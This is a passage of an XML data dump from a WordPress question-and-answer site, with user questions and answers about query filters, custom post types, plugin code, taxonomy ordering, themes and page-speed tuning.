it's extra required configuration is nothing but annoying. Also minification of files generally results in breaking stuff so I just do the concatenation of the files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The use of serving static files a cookieless domain will save a few ms but to get real savings in page load the use of a CDN will save roughly 100ms per item. Also using multiple domains to serve the files will increase the page load for older browsers who have limits on how many concurrent file requests can be done per domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to look into using &lt;a href=&quot;http://smush.it&quot; rel=&quot;nofollow&quot;&gt;http://smush.it&lt;/a&gt; to save on the size of images without loss in quality. (&lt;a href=&quot;https://github.com/icambridge/filesmush&quot; rel=&quot;nofollow&quot;&gt;https://github.com/icambridge/filesmush&lt;/a&gt; script for running local files through smushit. &lt;a href=&quot;https://github.com/tylerhall/Autosmush&quot; rel=&quot;nofollow&quot;&gt;https://github.com/tylerhall/Autosmush&lt;/a&gt; for running images on S3 through smushit.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;InnoDB should be used if your comments vastly outnumber your posts. Otherwise MyISAM may actually be faster.&lt;/p&gt;&#xA;" OwnerUserId="2596" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-01-21T17:39:15.417" LastActivityDate="2011-01-21T17:39:15.417" CommentCount="3" />
  <row Id="7436" PostTypeId="1" AcceptedAnswerId="7438" CreationDate="2011-01-21T15:33:04.547" Score="0" ViewCount="287" Body="&lt;p&gt;I use this function to exclude from the query posts that are 30 days old,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function filter_where($where = '') {&#xA;  //posts in the last 30 days&#xA;  $where .= &quot; AND post_date &amp;gt; '&quot; . date('Y-m-d', strtotime('-30 days')) . &quot;'&quot;;&#xA;  return $where;&#xA;}&#xA;// Register the filtering function&#xA;add_filter('posts_where', 'filter_where');&#xA;// Perform the query, the filter will be applied automatically&#xA;query_posts($query_string);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is it possible to do something like this to exclude posts that have a meta_key=votes and meta_value=0 ?&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-06-29T03:50:37.917" Title="Exclude from the query posts with meta_key and meta_value" Tags="&lt;functions&gt;&lt;query-posts&gt;&lt;post-meta&gt;" AnswerCount="2" />
  <row Id="7437" PostTypeId="1" CreationDate="2011-01-21T16:09:20.213" Score="0" ViewCount="362" Body="&lt;p&gt;I'll preface this by saying that I'm ok with CSS and Wordpress, but very new to PHP. You all seem to be an enormously smart bunch, and I was wondering if someone could help me out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am building a Wordpress site for a friend, and they are wanting to be able to post mixtapes. I have created two custom post types: 'mixtape' and 'track', and my friend wants to be able to post a 'mixtape' and then attach several child 'track' posts that will remain in the correct order and will only display on the parent post page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been messing around with the WP Sub Page plugin ( &lt;a href=&quot;http://takien.com/550/wordpress-plugin-wp-sub-post.php&quot; rel=&quot;nofollow&quot;&gt;http://takien.com/550/wordpress-plugin-wp-sub-post.php&lt;/a&gt; ) and trying to make it work with post types other than the default post type. Basically, it has the exact function that I'm looking for, but I need to be able to use it to link one post of the type 'track' to a parent post of the type 'mixtape'. Is this possible? I've included the plugin code below in case that helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this is a big ask, but I've been toiling away at this for three days now, to no avail. If anyone out there has the time to help me with this, I'd be so enormously appreciative! Just trying to learn how this all works!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&amp;lt;/p&amp;gt;&#xA;/*&#xA;Plugin Name: WP Sub Post&#xA;Description: You can make a post is a child of another post.&#xA;Author: Takien&#xA;Version: 0.1 Alpha&#xA;*/&#xA;&#xA;////////////////////////////&#xA;&#xA;class Walker_PostDropdown extends Walker {&#xA;&#xA;    var $tree_type = 'post';&#xA;&#xA;    var $db_fields = array ('parent' =&amp;gt; 'post_parent', 'id' =&amp;gt; 'ID');&#xA;&#xA;    function start_el(&amp;amp;$output, $page, $depth, $args) {&#xA;        $pad = str_repeat(' ', $depth * 3);&#xA;&#xA;        $output .= &quot;\tID\&quot;&quot;;&#xA;        if ( $page-&amp;gt;ID == $args['selected'] )&#xA;            $output .= ' selected=&quot;selected&quot;';&#xA;        $output .= '&amp;gt;';&#xA;        $title = esc_html($page-&amp;gt;post_title);&#xA;        $output .= &quot;$pad$title&quot;;&#xA;        $output .= &quot;\n&quot;;&#xA;    }&#xA;}&#xA;/////////////&#xA;function &amp;amp;wp_get_posts($args = '') {&#xA;&#xA;global $wpdb;&#xA;&#xA;$defaults = array(&#xA;    'child_of' =&amp;gt; 0, 'sort_order' =&amp;gt; 'ASC',&#xA;    'sort_column' =&amp;gt; 'post_title', 'hierarchical' =&amp;gt; 1,&#xA;    'exclude' =&amp;gt; '', 'include' =&amp;gt; '',&#xA;    'meta_key' =&amp;gt; '', 'meta_value' =&amp;gt; '',&#xA;    'authors' =&amp;gt; '', 'parent' =&amp;gt; -1, 'exclude_tree' =&amp;gt; '',&#xA;    'number' =&amp;gt; '', 'offset' =&amp;gt; 0&#xA;);&#xA;&#xA;$r = wp_parse_args( $args, $defaults );&#xA;extract( $r, EXTR_SKIP );&#xA;$number = (int) $number;&#xA;$offset = (int) $offset;&#xA;&#xA;$cache = array();&#xA;$key = md5( serialize( compact(array_keys($defaults)) ) );&#xA;if ( $cache = wp_cache_get( 'wp_get_posts', 'posts' ) ) {&#xA;    if ( is_array($cache) &amp;amp;&amp;amp; isset( $cache[ $key ] ) ) {&#xA;        $pages = apply_filters('wp_get_posts', $cache[ $key ], $r );&#xA;        return $pages;&#xA;    }&#xA;}&#xA;&#xA;if ( !is_array($cache) )&#xA;    $cache = array();&#xA;&#xA;$inclusions = '';&#xA;if ( !empty($include) ) {&#xA;    $child_of = 0; //ignore child_of, parent, exclude, meta_key, and meta_value params if using include&#xA;    $parent = -1;&#xA;    $exclude = '';&#xA;    $meta_key = '';&#xA;    $meta_value = '';&#xA;    $hierarchical = false;&#xA;    $incpages = preg_split('/[\s,]+/',$include);&#xA;    if ( count($incpages) ) {&#xA;        foreach ( $incpages as $incpage ) {&#xA;            if (empty($inclusions))&#xA;                $inclusions = $wpdb-&amp;gt;prepare(' AND ( ID = %d ', $incpage);&#xA;            else&#xA;                $inclusions .= $wpdb-&amp;gt;prepare(' OR ID = %d ', $incpage);&#xA;        }&#xA;    }&#xA;}&#xA;if (!empty($inclusions))&#xA;    $inclusions .= ')';&#xA;&#xA;$exclusions = '';&#xA;if ( !empty($exclude) ) {&#xA;    $expages = preg_split('/[\s,]+/',$exclude);&#xA;    if ( count($expages) ) {&#xA;        foreach ( $expages as $expage ) {&#xA;            if (empty($exclusions))&#xA;                $exclusions = $wpdb-&amp;gt;prepare(' AND ( ID &amp;lt;&amp;gt; %d ', $expage);&#xA;            else&#xA;                $exclusions .= $wpdb-&amp;gt;prepare(' AND ID &amp;lt;&amp;gt; %d ', $expage);&#xA;        }&#xA;    }&#xA;}&#xA;if (!empty($exclusions))&#xA;    $exclusions .= ')';&#xA;&#xA;$author_query = '';&#xA;if (!empty($authors)) {&#xA;    $post_authors = preg_split('/[\s,]+/',$authors);&#xA;&#xA;    if ( count($post_authors) ) {&#xA;        foreach ( $post_authors as $post_author ) {&#xA;            //Do we have an author id or an author login?&#xA;            if ( 0 == intval($post_author) ) {&#xA;                $post_author = get_userdatabylogin($post_author);&#xA;                if ( empty($post_author) )&#xA;                    continue;&#xA;                if ( empty($post_author-&amp;gt;ID) )&#xA;                    continue;&#xA;                $post_author = $post_author-&amp;gt;ID;&#xA;            }&#xA;&#xA;            if ( '' == $author_query )&#xA;                $author_query = $wpdb-&amp;gt;prepare(' post_author = %d ', $post_author);&#xA;            else&#xA;                $author_query .= $wpdb-&amp;gt;prepare(' OR post_author = %d ', $post_author);&#xA;        }&#xA;        if ( '' != $author_query )&#xA;            $author_query = &quot; AND ($author_query)&quot;;&#xA;    }&#xA;}&#xA;&#xA;$join = '';&#xA;$where = &quot;$exclusions $inclusions &quot;;&#xA;if ( ! empty( $meta_key ) || ! empty( $meta_value ) ) {&#xA;    $join = &quot; LEFT JOIN $wpdb-&amp;gt;postmeta ON ( $wpdb-&amp;gt;posts.ID = $wpdb-&amp;gt;postmeta.post_id )&quot;;&#xA;&#xA;    // meta_key and meta_value might be slashed&#xA;    $meta_key = stripslashes($meta_key);&#xA;    $meta_value = stripslashes($meta_value);&#xA;    if ( ! empty( $meta_key ) )&#xA;        $where .= $wpdb-&amp;gt;prepare(&quot; AND $wpdb-&amp;gt;postmeta.meta_key = %s&quot;, $meta_key);&#xA;    if ( ! empty( $meta_value ) )&#xA;        $where .= $wpdb-&amp;gt;prepare(&quot; AND $wpdb-&amp;gt;postmeta.meta_value = %s&quot;, $meta_value);&#xA;&#xA;}&#xA;&#xA;if ( $parent &amp;gt;= 0 )&#xA;    $where .= $wpdb-&amp;gt;prepare(' AND post_parent = %d ', $parent);&#xA;&#xA;$query = &quot;SELECT * FROM $wpdb-&amp;gt;posts $join WHERE (post_type = 'post' AND post_status = 'publish') $where &quot;;&#xA;$query .= $author_query;&#xA;$query .= &quot; ORDER BY &quot; . $sort_column . &quot; &quot; . $sort_order ;&#xA;&#xA;if ( !empty($number) )&#xA;    $query .= ' LIMIT ' . $offset . ',' . $number;&#xA;&#xA;$pages = $wpdb-&amp;gt;get_results($query);&#xA;&#xA;if ( empty($pages) ) {&#xA;    $pages = apply_filters('wp_get_posts', array(), $r);&#xA;    return $pages;&#xA;}&#xA;&#xA;// Sanitize before caching so it'll only get done once&#xA;$num_pages = count($pages);&#xA;for ($i = 0; $i &amp;lt; $num_pages; $i++) {&#xA;    $pages[$i] = sanitize_post($pages[$i], 'raw');&#xA;}&#xA;&#xA;// Update cache.&#xA;update_page_cache($pages);&#xA;&#xA;if ( $child_of || $hierarchical )&#xA;    $pages = &amp;amp; get_page_children($child_of, $pages);&#xA;&#xA;if ( !empty($exclude_tree) ) {&#xA;    $exclude = (int) $exclude_tree;&#xA;    $children = get_page_children($exclude, $pages);&#xA;    $excludes = array();&#xA;    foreach ( $children as $child )&#xA;        $excludes[] = $child-&amp;gt;ID;&#xA;    $excludes[] = $exclude;&#xA;    $num_pages = count($pages);&#xA;    for ( $i = 0; $i &amp;lt; $num_pages; $i++ ) {&#xA;        if ( in_array($pages[$i]-&amp;gt;ID, $excludes) )&#xA;            unset($pages[$i]);&#xA;    }&#xA;}&#xA;&#xA;$cache[ $key ] = $pages;&#xA;wp_cache_set( 'wp_get_posts', $cache, 'posts' );&#xA;&#xA;$pages = apply_filters('wp_get_posts', $pages, $r);&#xA;&#xA;return $pages;&#xA;}&#xA;//////////////&#xA;&#xA;function walk_post_dropdown_tree() {&#xA;    $args = func_get_args();&#xA;    if ( empty($args[2]['walker']) ) // the user's options are the third parameter&#xA;        $walker = new Walker_PostDropdown;&#xA;    else&#xA;        $walker = $args[2]['walker'];&#xA;&#xA;    return call_user_func_array(array(&amp;amp;$walker, 'walk'), $args);&#xA;}&#xA;&#xA;function wp_dropdown_posts($args = '') {&#xA;$defaults = array(&#xA;    'depth' =&amp;gt; 0, 'child_of' =&amp;gt; 0,&#xA;    'selected' =&amp;gt; 0, 'echo' =&amp;gt; 1,&#xA;    'name' =&amp;gt; 'page_id', 'show_option_none' =&amp;gt; '', 'show_option_no_change' =&amp;gt; '',&#xA;    'option_none_value' =&amp;gt; ''&#xA;);&#xA;&#xA;$r = wp_parse_args( $args, $defaults );&#xA;extract( $r, EXTR_SKIP );&#xA;&#xA;$pages = wp_get_posts($r);&#xA;$output = '';&#xA;$name = esc_attr($name);&#xA;&#xA;if ( ! empty($pages) ) {&#xA;    $output = &quot;&#xA;&amp;lt;select id=&quot;&quot;$name\&quot;&quot; name=&quot;\&quot;$name\&quot;&quot;&amp;gt;&#xA;&amp;lt;option value=&quot;\&quot;-1\&quot;&quot;&amp;gt;$show_option_no_change&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;\&quot;&quot;&quot;&amp;gt;$show_option_none&amp;lt;/option&amp;gt;&#xA;&#xA;\n&quot;;&#xA;}&#xA;&#xA;$output = apply_filters('wp_dropdown_pages', $output);&#xA;&#xA;if ( $echo )&#xA;    echo $output;&#xA;&#xA;return $output;&#xA;}&#xA;/////////////////////////////&#xA;&#xA;/* Use the admin_menu action to define the custom boxes */&#xA;add_action('admin_menu', 'myplugin_add_custom_box');&#xA;&#xA;/* Use the save_post action to do something with the data entered */&#xA;add_action('save_post', 'myplugin_save_postdata');&#xA;&#xA;/* Adds a custom section to the &quot;advanced&quot; Post and Page edit screens */&#xA;function myplugin_add_custom_box() {&#xA;&#xA;  if( function_exists( 'add_meta_box' )) {&#xA;    add_meta_box( 'myplugin_sectionid', __( 'WP Sub Posts', 'myplugin_textdomain' ), 'myplugin_inner_custom_box', 'post', 'side','high' );&#xA;    //add_meta_box( $id,                  $title,                                      $callback,                  $page, $context, $priority );&#xA;    add_meta_box( 'myplugin_sectionid', __( 'WP Sub Posts', 'myplugin_textdomain' ), 'myplugin_inner_custom_box', 'page', 'advanced' );&#xA;   } else {&#xA;    add_action('dbx_post_advanced', 'myplugin_old_custom_box' );&#xA;    add_action('dbx_page_advanced', 'myplugin_old_custom_box' );&#xA;  }&#xA;}&#xA;&#xA;function myplugin_inner_custom_box() {&#xA;echo '&#xA;&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;select#parent_id, select#parent_id option {&#xA;    width:250px;&#xA;}&#xA;&amp;lt;/style&amp;gt;&#xA;&#xA;';&#xA;&#xA;echo '&#xA;&amp;lt;input id=&quot;myplugin_noncename&quot; name=&quot;myplugin_noncename&quot; type=&quot;hidden&quot; value=&quot;' .&#xA;    wp_create_nonce( plugin_basename(__FILE__) ) . '&quot; /&amp;gt;';  ?&amp;gt;&#xA;&amp;lt;h5&amp;gt;&amp;lt;?php _e('Parent') ?&amp;gt;&amp;lt;/h5&amp;gt;&#xA;&#xA;&amp;lt;label for=&quot;post_parent&quot;&amp;gt;Please select the parent of this post&amp;lt;/label&amp;gt;&#xA;&#xA;&amp;lt;?php &#xA;&#xA;$currentid = $_GET['post'];&#xA;wp_dropdown_posts(array('exclude_tree'             =&amp;gt; $currentid,&#xA;                            'selected'             =&amp;gt; $post-&amp;gt;post_parent,&#xA;                            'name'                 =&amp;gt; 'parent_id',&#xA;                            'show_option_none'     =&amp;gt; __('Main Post (no parent)'),&#xA;                            'sort_column'        =&amp;gt; 'menu_order, post_title'));&#xA; }&#xA;&#xA;/* Prints the edit form for pre-WordPress 2.5 post/page */&#xA;function myplugin_old_custom_box() {&#xA;&#xA;  echo '&#xA;&amp;lt;div class=&quot;dbx-b-ox-wrapper&quot;&amp;gt;' . &quot;\n&quot;;&#xA;  echo '&#xA;&amp;lt;fieldset id=&quot;myplugin_fieldsetid&quot; class=&quot;dbx-box&quot;&amp;gt;' . &quot;\n&quot;;&#xA;  echo '&#xA;&amp;lt;div class=&quot;dbx-h-andle-wrapper&quot;&amp;gt;&#xA;&amp;lt;h3 class=&quot;dbx-handle&quot;&amp;gt;' .&#xA;        __( 'WP Sub Posts', 'myplugin_textdomain' ) . &quot;&amp;lt;/h3&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&quot;;   &#xA;&#xA;  echo '&#xA;&amp;lt;div class=&quot;dbx-c-ontent-wrapper&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;dbx-content&quot;&amp;gt;';&#xA;&#xA;  // output editing form&#xA;&#xA;  myplugin_inner_custom_box();&#xA;&#xA;  // end wrapper&#xA;&#xA;  echo &quot;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;\n&quot;;&#xA;}&#xA;&#xA;/* When the post is saved, saves our custom data */&#xA;function myplugin_save_postdata( $post_id ) {&#xA;&#xA;  // verify this came from the our screen and with proper authorization,&#xA;  // because save_post can be triggered at other times&#xA;&#xA;  if ( !wp_verify_nonce( $_POST['myplugin_noncename'], plugin_basename(__FILE__) )) {&#xA;    return $post_id;&#xA;  }&#xA;&#xA;  // verify if this is an auto save routine. If it is our form has not been submitted, so we dont want&#xA;  // to do anything&#xA;  if ( defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE )&#xA;    return $post_id;&#xA;&#xA;  // Check permissions&#xA;  if ( 'page' == $_POST['post_type'] ) {&#xA;    if ( !current_user_can( 'edit_page', $post_id ) )&#xA;      return $post_id;&#xA;  } else {&#xA;    if ( !current_user_can( 'edit_post', $post_id ) )&#xA;      return $post_id;&#xA;  }&#xA;&#xA;  // OK, we're authenticated: we need to find and save the data&#xA;&#xA;  $mydata = $_POST['parent_id'];&#xA;&#xA;   return $mydata;&#xA;}&#xA;&#xA;add_filter('posts_where','where_no_parent');&#xA;add_filter ('the_content','subpost_template', 1, 2 );&#xA;&#xA;function subpost_template($content) {&#xA;&#xA;    if(is_singular) {&#xA;    remove_filter('posts_where','where_no_parent');&#xA;    }&#xA;    echo $content;&#xA;&#xA;    $idnya = get_the_ID();&#xA;    $child = new WP_Query(&quot;post_type=post&amp;amp;post_parent=&quot;.$idnya.&quot;&quot;);&#xA;&#xA;    while($child-&amp;gt;have_posts()) : $child-&amp;gt;the_post();&#xA;    echo '&#xA;&amp;lt;blockquote&amp;gt;&#xA;&#xA;';&#xA;    echo '&#xA;&amp;lt;h3&amp;gt;';&#xA;    the_title();&#xA;&#xA;    echo '&amp;lt;/h3&amp;gt;&#xA;&#xA;';&#xA;    $childid =  get_the_ID();&#xA;    the_content();&#xA;&#xA;    edit_post_link('Edit','','',$childid);&#xA;    echo '&amp;lt;/blockquote&amp;gt;&#xA;&#xA;';&#xA;&#xA;    endwhile;&#xA;    wp_reset_query();&#xA;}&#xA;&#xA;function where_no_parent($where) {&#xA;    global $wpdb;&#xA;     $where .= &quot; AND post_parent  = 0&quot;;&#xA;     return $where;&#xA;}&#xA;?&amp;gt;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-03-27T14:48:43.007" LastActivityDate="2011-08-24T20:34:20.953" Title="Rewriting the WP Sub Posts plugin to allow one custom post type to be a child of another custom post type" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="7438" PostTypeId="2" ParentId="7436" CreationDate="2011-01-21T16:23:33.533" Score="1" ViewCount="" Body="&lt;p&gt;I think you'll need to add a posts_join filter, to join the posts and postmeta tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This link should be helpful: &lt;a href=&quot;http://codex.wordpress.org/Custom_Queries&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Custom_Queries&lt;/a&gt;, in particular this piece of example code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('posts_join', 'geotag_search_join' );&#xA;add_filter('posts_where', 'geotag_search_where' );&#xA;&#xA;function geotag_search_join( $join )&#xA;{&#xA;  global $geotag_table, $wpdb;&#xA;&#xA;  if( is_search() ) {&#xA;    $join .= &quot; LEFT JOIN $geotag_table ON &quot; . &#xA;       $wpdb-&amp;gt;posts . &quot;.ID = &quot; . $geotag_table . &#xA;       &quot;.geotag_post_id &quot;;&#xA;  }&#xA;&#xA;  return $join;&#xA;}&#xA;&#xA;function geotag_search_where( $where )&#xA;{&#xA;  if( is_search() ) {&#xA;    $where = preg_replace(&#xA;       &quot;/\(\s*post_title\s+LIKE\s*(\'[^\']+\')\s*\)/&quot;,&#xA;       &quot;(post_title LIKE $1) OR (geotag_city LIKE $1) OR (geotag_state LIKE $1) OR (geotag_country LIKE $1)&quot;, $where );&#xA;   }&#xA;&#xA;  return $where;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-01-21T16:23:33.533" CommentCount="1" />
  <row Id="7439" PostTypeId="1" CreationDate="2011-01-21T16:27:24.437" Score="0" ViewCount="91" Body="&lt;p&gt;I am looking for a &quot;Member Area&quot; plugin so I can show certain pages only to specific members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know some plugins that do that, but I can't find any that support language support. I am making a dutch site. I don't mind if I have to translate the PO/POT file myself, as long as it supports it. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;With kind regards,&#xA;Jeroen&lt;/p&gt;&#xA;" LastActivityDate="2011-01-21T16:27:24.437" Title="Do you know a Members/Login plugin with Language support?" Tags="&lt;login&gt;&lt;multi-language&gt;" CommentCount="3" />
  <row Id="7440" PostTypeId="1" AcceptedAnswerId="7866" CreationDate="2011-01-21T16:36:26.847" Score="2" ViewCount="293" Body="&lt;p&gt;By default WordPress orders custom taxonomies (as tags in this case) by alphabetical order not by the order they were entered in the tag box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone aware of a way to show the custom taxonomies in the order they were entered in the post edit screen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The url in question is: &lt;a href=&quot;http://granadatheater.com/&quot; rel=&quot;nofollow&quot;&gt;http://granadatheater.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The GGW (Goes Good With) artists are currently in alphabetical order and they want it changed so that they are ordered the same way they were entered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if the enter it Artist1, Artist3, Artist2 that's how it should show up on the frontend of the site.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditorDisplayName="" LastEditDate="2011-02-04T16:56:57.263" LastActivityDate="2011-02-04T16:56:57.263" Title="Change order of Custom Taxonomy List" Tags="&lt;custom-taxonomy&gt;&lt;get-the-term-list&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="7441" PostTypeId="1" AcceptedAnswerId="7538" CreationDate="2011-01-21T16:46:26.390" Score="0" ViewCount="87" Body="&lt;p&gt;Where can I download the schema (or DTD) for the layout of the WordPress import/export file format?  &lt;/p&gt;&#xA;" OwnerUserId="2550" LastActivityDate="2011-01-23T05:35:35.730" Title="Download/View Schema (or DTD) for XML Import" Tags="&lt;import&gt;&lt;export&gt;" AnswerCount="2" />
  <row Id="7442" PostTypeId="1" CreationDate="2011-01-21T16:47:48.637" Score="0" ViewCount="915" Body="&lt;p&gt;I work for a research oriented company and hence a lot of new facts and ways of going about work are found everyday. We want to consolidate all our understandings and categorize them as tutorials on our company intranet which some writers (who are authorized to do so) can update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need a comprehensive theme that is elegant, creative and simple to manage which a customizable menu and is apt for a multi-discipline tutorial intranet site. Also one that comes pre-customized for a tutorial oriented site so that i don't have to find too many plug-ins to make it useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;some theme like &lt;a href=&quot;http://net.tutsplus.com/&quot; rel=&quot;nofollow&quot;&gt;this site&lt;/a&gt;, though more spacious for text &lt;/p&gt;&#xA;" OwnerUserId="1338" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2011-01-26T17:13:07.387" LastActivityDate="2011-01-26T20:04:15.100" Title="Free Wordpress theme for an intranet tutorial site" Tags="&lt;themes&gt;&lt;theme-recommendation&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="7443" PostTypeId="1" AcceptedAnswerId="7483" CreationDate="2011-01-21T16:57:16.377" Score="0" ViewCount="126" Body="&lt;p&gt;I am using the WP-Paginate plug-in and need to apply a class to the containing LIs for the next/previous links. Can someone tell me how to do this? If there's a better/easier way to do this other than using WP-Paginate, then I'm open to suggestions. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1462" LastActivityDate="2011-01-22T08:47:35.940" Title="How to apply next/previous classes to LIs for pagination links?" Tags="&lt;plugins&gt;&lt;css&gt;&lt;pagination&gt;" AnswerCount="2" />
  <row Id="7444" PostTypeId="2" ParentId="6859" CreationDate="2011-01-21T17:03:15.043" Score="1" ViewCount="" Body="&lt;p&gt;If you're using Google Docs, then this plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/inline-google-spreadsheet-viewer/&quot; rel=&quot;nofollow&quot;&gt;Google Spreadsheet Viewer&lt;/a&gt; might be helpful. &lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-01-21T17:03:15.043" />
  <row Id="7445" PostTypeId="1" AcceptedAnswerId="7454" CreationDate="2011-01-21T17:17:18.023" Score="0" ViewCount="133" Body="&lt;p&gt;I use this function to get some information to the user columns,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function column_company( $defaults ) {&#xA;    $defaults['usercolumn-company'] = __('Company', 'user-column');&#xA;    $defaults['usercolumn-myoffers'] = __('Applied Offers', 'user-column');&#xA;    $defaults['usercolumn-totaloffers'] = __('Total Offers', 'user-column');&#xA;    return $defaults;&#xA;}&#xA;&#xA;function custom_column_company($value, $column_name, $id) {&#xA;    if( $column_name == 'usercolumn-company' ) {&#xA;        return get_the_author_meta( 'company', $id );&#xA;    }&#xA;    elseif( $column_name == 'usercolumn-myoffers' ) {&#xA;        return get_the_author_meta( 'offersiget', $id );&#xA;    }&#xA;    elseif( $column_name == 'usercolumn-totaloffers' ) {&#xA;        return get_the_author_meta( 'totaloffers', $id );&#xA;    }&#xA;}&#xA;&#xA;add_action('manage_users_custom_column', 'custom_column_company', 15, 3);&#xA;add_filter('manage_users_columns', 'column_company', 15, 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i return the get_the_author_meta( 'offersiget', $id );&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and here i get from the db some post id's as text, like: 8,12,51&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is it possible to return this, not as a text but as a link to the edit post&lt;br&gt;&#xA;(/wp-admin/post.php?post=(8)&amp;amp;action=edit)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try this by @hakre&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return sprintf('&amp;lt;a href=&quot;/wp-admin/post.php?post='.get_the_author_meta( 'offersiget', $id ).'&amp;amp;action=edit&quot;&amp;gt;'.get_the_author_meta( 'offersiget', $id ).'&amp;lt;/a&amp;gt;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it works but it return one link with all the post id's inside,&#xA;is it possible to split them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;br&gt;&#xA;Philip&lt;/p&gt;&#xA;" OwnerUserId="2048" LastEditorUserId="2048" LastEditorDisplayName="" LastEditDate="2011-01-21T17:55:26.227" LastActivityDate="2011-01-21T19:01:10.760" Title="Return User Meta text as links to post edit inside the user columns" Tags="&lt;admin&gt;&lt;functions&gt;" AnswerCount="2" />
  <row Id="7446" PostTypeId="2" ParentId="7433" CreationDate="2011-01-21T17:18:13.277" Score="0" ViewCount="" Body="&lt;p&gt;Agree with what @Backie has written. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;wp-supercache also has experimental support for object caching using APC, and CDN support. I have found object caching can result in odd behaviour from (badly?) written plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MyISAM will typically be quicker unless you have a lot of writes (comments mainly) as it only locks a page, not the whole table. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you turn on MySQL slow query logging, and check through where your &lt;strong&gt;actual&lt;/strong&gt; bottlenecks are, and then use EXPLAIN to work out whether you need to add indexes, etc. &lt;a href=&quot;http://hackmysql.com/case1&quot; rel=&quot;nofollow&quot;&gt;This page&lt;/a&gt; is a pretty good intro if you've not used EXPLAIN before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://blog.mysqltuner.com/&quot; rel=&quot;nofollow&quot;&gt;mysqltuner script&lt;/a&gt; can also be helpful in working out where you might need to tune your MySQL config.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-01-21T17:18:13.277" />
  <row Id="7447" PostTypeId="2" ParentId="7445" CreationDate="2011-01-21T17:34:39.273" Score="1" ViewCount="" Body="&lt;p&gt;As far as you're concerned to build a link based on the postID, this is some example code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Copyright 2011 by hakre &amp;lt;http://hakre.wordpress.com/&amp;gt;, some rights reserved&#xA; *&#xA; * Provided AS-IS, example code only. &#xA; *&#xA; * Licensed under CC BY-SA 2.5, needs attribution.&#xA; *   * Author: hakre &amp;lt;http://hakre.wordpress.com/&amp;gt; &#xA; *   * Where : With the code and the visible portion of &#xA; *             any remixed work.&#xA; * Exceptions to this need the written form.&#xA; *&#xA; * If you make use of this code, please send me a deposit copy, thx.&#xA; */&#xA;# get the link for a specific postId&#xA;$getPostIdLink = function($postId) {&#xA;    return sprintf('/wp-admin/post.php?post=%d&amp;amp;action=edit', $postId);&#xA;}&#xA;$getHtmlOfLinks = function($postIdsCommaSeperatedText) use ($formatPostIdLink) {&#xA;    $links = array_map(function($postId) use ($formatPostIdLink) {&#xA;        $postId = intval(trim($postId));&#xA;        if ($postId) {&#xA;            $link = $formatPostIdLink($postId);&#xA;            return sprintf('&amp;lt;a href=&quot;%s&quot;&amp;gt;(%d)&amp;lt;/a&amp;gt;', $link, $postId);&#xA;        } else {&#xA;             return false;&#xA;        }&#xA;    }, explode(',', $postIdsCommaSeperatedText));&#xA;    $links = array_filter($links);&#xA;    return implode(', ', 